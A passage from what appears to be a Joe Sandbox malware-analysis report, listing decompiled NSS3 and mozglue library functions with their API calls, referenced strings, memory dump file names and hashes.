Function 6CB76CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB76910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CB76943
Part of subcall function 6CB76910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CB76957
Part of subcall function 6CB76910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CB76972
Part of subcall function 6CB76910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CB76983
Part of subcall function 6CB76910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CB769AA
Part of subcall function 6CB76910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CB769BE
Part of subcall function 6CB76910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CB769D2
Part of subcall function 6CB76910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CB769DF
Part of subcall function 6CB76910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CB76A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CB76D8C
free.MOZGLUE(00000000), ref: 6CB76DC5
free.MOZGLUE(?), ref: 6CB76DD6
free.MOZGLUE(?), ref: 6CB76DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CB76E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB76E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB76E72
free.MOZGLUE(?), ref: 6CB76EA7
free.MOZGLUE(?), ref: 6CB76EC4
free.MOZGLUE(?), ref: 6CB76ED5
free.MOZGLUE(00000000), ref: 6CB76EE3
free.MOZGLUE(?), ref: 6CB76EF4
free.MOZGLUE(?), ref: 6CB76F08
free.MOZGLUE(00000000), ref: 6CB76F35
free.MOZGLUE(?), ref: 6CB76F44
free.MOZGLUE(?), ref: 6CB76F5B
free.MOZGLUE(00000000), ref: 6CB76F65

Part of subcall function 6CB76C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CB7781D,00000000,6CB6BE2C,?,6CB76B1D,?,?,?,?,00000000,00000000,6CB7781D), ref: 6CB76C40
Part of subcall function 6CB76C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CB7781D,?,6CB6BE2C,?), ref: 6CB76C58
Part of subcall function 6CB76C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CB7781D), ref: 6CB76C6F
Part of subcall function 6CB76C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CB76C84
Part of subcall function 6CB76C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CB76C96
Part of subcall function 6CB76C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CB76CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB76F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB76FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CB76FF4

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: a9d652f773196d4bbbd0b3ef95e6c7fd3b954f0633eb8d8b2acb302c275ff964
Instruction ID: f41301eb020db2e33f1ac171a8651d3c075c899b5c3ad73c5b808aa3de22d258
Opcode Fuzzy Hash: a9d652f773196d4bbbd0b3ef95e6c7fd3b954f0633eb8d8b2acb302c275ff964
Instruction Fuzzy Hash: DDB15FB0E012999FDF20DBA5D884B9EBBB4EF09358F140124EC25E7640E735E958CB72

Function 6CB74C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB74C4C
EnterCriticalSection.KERNEL32(?), ref: 6CB74C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CB74CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74DB7

Part of subcall function 6CBDDD70: TlsGetValue.KERNEL32 ref: 6CBDDD8C
Part of subcall function 6CBDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBDDDB4

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

TlsGetValue.KERNEL32 ref: 6CB74DD7
EnterCriticalSection.KERNEL32(?), ref: 6CB74DEC
PR_Unlock.NSS3(?), ref: 6CB74E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CB74E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CB74E71
free.MOZGLUE(00000000), ref: 6CB74E7A
PR_Unlock.NSS3(?), ref: 6CB74EA2
TlsGetValue.KERNEL32 ref: 6CB74EC1
EnterCriticalSection.KERNEL32(?), ref: 6CB74ED6
PR_Unlock.NSS3(?), ref: 6CB74F01
free.MOZGLUE(00000000), ref: 6CB74F2A

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: e06e2daa34e44371f797712d454062c05124b61d58bfe06ec47619f2ac9968d2
Instruction ID: 5534f07a5100faffc6f8f5d91e0834f3637732b7414e3fc56a58d9430228facb
Opcode Fuzzy Hash: e06e2daa34e44371f797712d454062c05124b61d58bfe06ec47619f2ac9968d2
Instruction Fuzzy Hash: 1FB1F175A002459FDF10EF68D884AAA77B4FF0A31AF054124ED2997B10E734E965CFA2

Function 6CBC6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CBC6BF7), ref: 6CBC6EB6

Part of subcall function 6CB21240: TlsGetValue.KERNEL32(00000040,?,6CB2116C,NSPR_LOG_MODULES), ref: 6CB21267
Part of subcall function 6CB21240: EnterCriticalSection.KERNEL32(?,?,?,6CB2116C,NSPR_LOG_MODULES), ref: 6CB2127C
Part of subcall function 6CB21240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB2116C,NSPR_LOG_MODULES), ref: 6CB21291
Part of subcall function 6CB21240: PR_Unlock.NSS3(?,?,?,?,6CB2116C,NSPR_LOG_MODULES), ref: 6CB212A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CC6FC0A,6CBC6BF7), ref: 6CBC6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CBC6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CBC6EFC
PR_NewLock.NSS3 ref: 6CBC6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBC6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CBC6BF7), ref: 6CBC6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CBC6BF7), ref: 6CBC6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CBC6BF7), ref: 6CBC6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CBC6BF7), ref: 6CBC6FFD

Strings

SSLFORCELOCKS, xrefs: 6CBC6F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CBC6FDB
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CBC6EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CBC6FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CBC6F4F
SSLKEYLOGFILE, xrefs: 6CBC6EB1

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 90cfb710ee7954385cb680dc561543eb0b3b2e98f13438552321c7dec815fcb7
Instruction ID: 77e382ce40d8623aa66498bf562570505e16a23e623d5c2957a483133576ac84
Opcode Fuzzy Hash: 90cfb710ee7954385cb680dc561543eb0b3b2e98f13438552321c7dec815fcb7
Instruction Fuzzy Hash: 01A107B3B659C087EB104A3CCC0179936B6EBD732AF5843A5E831D7EE9DBB594418243

Function 6CBC28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CBC5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBC5B56

TlsGetValue.KERNEL32 ref: 6CBC290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CBC291E
TlsGetValue.KERNEL32 ref: 6CBC2937
EnterCriticalSection.KERNEL32(00000001), ref: 6CBC294B
PR_EnterMonitor.NSS3(?), ref: 6CBC2966
PR_EnterMonitor.NSS3(?), ref: 6CBC29AC
PR_ExitMonitor.NSS3(?), ref: 6CBC29D1
PR_EnterMonitor.NSS3(?), ref: 6CBC29F0
PR_EnterMonitor.NSS3(?), ref: 6CBC2A15
PR_EnterMonitor.NSS3(?), ref: 6CBC2A37
PR_ExitMonitor.NSS3(?), ref: 6CBC2A61
PR_ExitMonitor.NSS3(?), ref: 6CBC2A78
PR_ExitMonitor.NSS3(?), ref: 6CBC2A8F
PR_ExitMonitor.NSS3(?), ref: 6CBC2AA6

Part of subcall function 6CBF9440: TlsGetValue.KERNEL32 ref: 6CBF945B
Part of subcall function 6CBF9440: TlsGetValue.KERNEL32 ref: 6CBF9479
Part of subcall function 6CBF9440: EnterCriticalSection.KERNEL32 ref: 6CBF9495
Part of subcall function 6CBF9440: TlsGetValue.KERNEL32 ref: 6CBF94E4
Part of subcall function 6CBF9440: TlsGetValue.KERNEL32 ref: 6CBF9532
Part of subcall function 6CBF9440: LeaveCriticalSection.KERNEL32 ref: 6CBF955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CBC2AF9
free.MOZGLUE(?), ref: 6CBC2B16
PR_Unlock.NSS3(?), ref: 6CBC2B6D
PR_Unlock.NSS3(?), ref: 6CBC2B80

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 4bf57b127a15c6cdb286fcfdca7d0bba0dcaa8e87a5bf115fdddb78e56f67e6b
Instruction ID: 3b299553c6953e614dc978890c0dc6d5591f01c82f5e8c4af358c9ce0fbffdc9
Opcode Fuzzy Hash: 4bf57b127a15c6cdb286fcfdca7d0bba0dcaa8e87a5bf115fdddb78e56f67e6b
Instruction Fuzzy Hash: F781A5B5A007809BEB209F35EC45B9BB7F5AF15308F045928E89AC7B11EB31E519CB53

Function 6CB88E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CB88E01,00000000,6CB89060,6CC90B64), ref: 6CB88E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CB88E01,00000000,6CB89060,6CC90B64), ref: 6CB88E9E
PORT_ArenaAlloc_Util.NSS3(6CC90B64,00000001,?,?,?,?,6CB88E01,00000000,6CB89060,6CC90B64), ref: 6CB88EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CB88E01,00000000,6CB89060,6CC90B64), ref: 6CB88EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CB88E01,00000000,6CB89060,6CC90B64), ref: 6CB88ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CB88E01,00000000,6CB89060,6CC90B64), ref: 6CB88EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CB88E01), ref: 6CB88EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC90B64,6CC90B64), ref: 6CB88F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CB88F3F

Part of subcall function 6CB8A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CB8A421,00000000,00000000,6CB89826), ref: 6CB8A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CB88E76

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 2bb71cbd9d212ac30a52b01d4f921ed73afc368b5be28466e0b07b41d65174a6
Instruction ID: 2288319cb0663d6528dd8a7c3dcb1ff22ca32a1f9fd8e494a5ddc1b54a305f1d
Opcode Fuzzy Hash: 2bb71cbd9d212ac30a52b01d4f921ed73afc368b5be28466e0b07b41d65174a6
Instruction Fuzzy Hash: B2618EB5D01246ABDF10CF55CC80AAFB7B9EF84358F158529DC18A7740EB32E915CBA1

Function 6CB38E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB38E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB38E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB38EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CC618D0,?), ref: 6CB38F03
PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CB38F19
PL_FreeArenaPool.NSS3(?), ref: 6CB38F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB38F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB38F65
PL_FinishArenaPool.NSS3(?), ref: 6CB38FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CB38FFE
PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CB39012
PL_FreeArenaPool.NSS3(?), ref: 6CB39024
PL_FinishArenaPool.NSS3(?), ref: 6CB3902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CB3903E

Strings

security, xrefs: 6CB38EE7

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 837c6551fe31772ad34a110a8736ed6075f5c74d00b9961cc318fd2f480bf8f7
Instruction ID: e1d724413523a8d90e83ac7e06b5d781f54c0b0083370394737f75096232284e
Opcode Fuzzy Hash: 837c6551fe31772ad34a110a8736ed6075f5c74d00b9961cc318fd2f480bf8f7
Instruction Fuzzy Hash: 1E513BB29082A0ABD7105A59DC41BAF73A8EF8675CF44182FF49DD7B90E732D9088753

Function 6CBFCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CBFCC7B), ref: 6CBFCD7A

Part of subcall function 6CBFCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CB6C1A8,?), ref: 6CBFCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CBFCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CBFCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CBFCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CBFCD8E

Part of subcall function 6CB205C0: PR_EnterMonitor.NSS3 ref: 6CB205D1
Part of subcall function 6CB205C0: PR_ExitMonitor.NSS3 ref: 6CB205EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CBFCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CBFCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CBFCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CBFCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CBFCE48

Strings

freeaddrinfo, xrefs: 6CBFCD9F, 6CBFCE10
getnameinfo, xrefs: 6CBFCDB2, 6CBFCE23
ws2_32.dll, xrefs: 6CBFCD75
wship6.dll, xrefs: 6CBFCDE3
getaddrinfo, xrefs: 6CBFCD88, 6CBFCDF9

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 0a83ee185847fcdcecae92563715da14dd2e166e17834b0bb8fcff7d429a34cc
Instruction ID: f1a0440ea83df0208d749c2809e967e235db5a75075142315db772d2534e874e
Opcode Fuzzy Hash: 0a83ee185847fcdcecae92563715da14dd2e166e17834b0bb8fcff7d429a34cc
Instruction Fuzzy Hash: AD11E9BAE121A152DB116A7A7D519AE396CDF0210CF180534E82DD2F01FB25D95E87F3

Function 6CA29590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA13217
Part of subcall function 6CA131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA13236
Part of subcall function 6CA131C0: FreeLibrary.KERNEL32 ref: 6CA1324B
Part of subcall function 6CA131C0: __Init_thread_footer.LIBCMT ref: 6CA13260
Part of subcall function 6CA131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA1327F
Part of subcall function 6CA131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA1328E
Part of subcall function 6CA131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA132AB
Part of subcall function 6CA131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA132D1
Part of subcall function 6CA131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA132E5
Part of subcall function 6CA131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA29675
__Init_thread_footer.LIBCMT ref: 6CA29697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA29707
__Init_thread_footer.LIBCMT ref: 6CA2971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA29773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA297B7
FreeLibrary.KERNEL32 ref: 6CA297D0
FreeLibrary.KERNEL32 ref: 6CA297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA29824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA29670
NtMapViewOfSection, xrefs: 6CA29701
ntdll.dll, xrefs: 6CA296E3
MapViewOfFileNuma2, xrefs: 6CA297B1

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 8c3f8081f2f01a48f3679dbb83e0e760e88c79fa8b96e4ce408ccbddfbf1e7f9
Instruction ID: 3992a56d8bcddbfb951b6b71a6994552c0a1294961b89ec608a82b693dd5d010
Opcode Fuzzy Hash: 8c3f8081f2f01a48f3679dbb83e0e760e88c79fa8b96e4ce408ccbddfbf1e7f9
Instruction Fuzzy Hash: C561D2707103129FDF04CF74EE86A9A3BB5FB4A714F08812CF95583A80EB349895CBA1

Function 6CB96CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CC61DE0,?), ref: 6CB96CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB96D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CB96D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CB96D82
DER_GetInteger_Util.NSS3(?), ref: 6CB96DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB96DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CB96E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CB96F19
PK11_DigestBegin.NSS3(00000000), ref: 6CB96F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CB96F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB97011
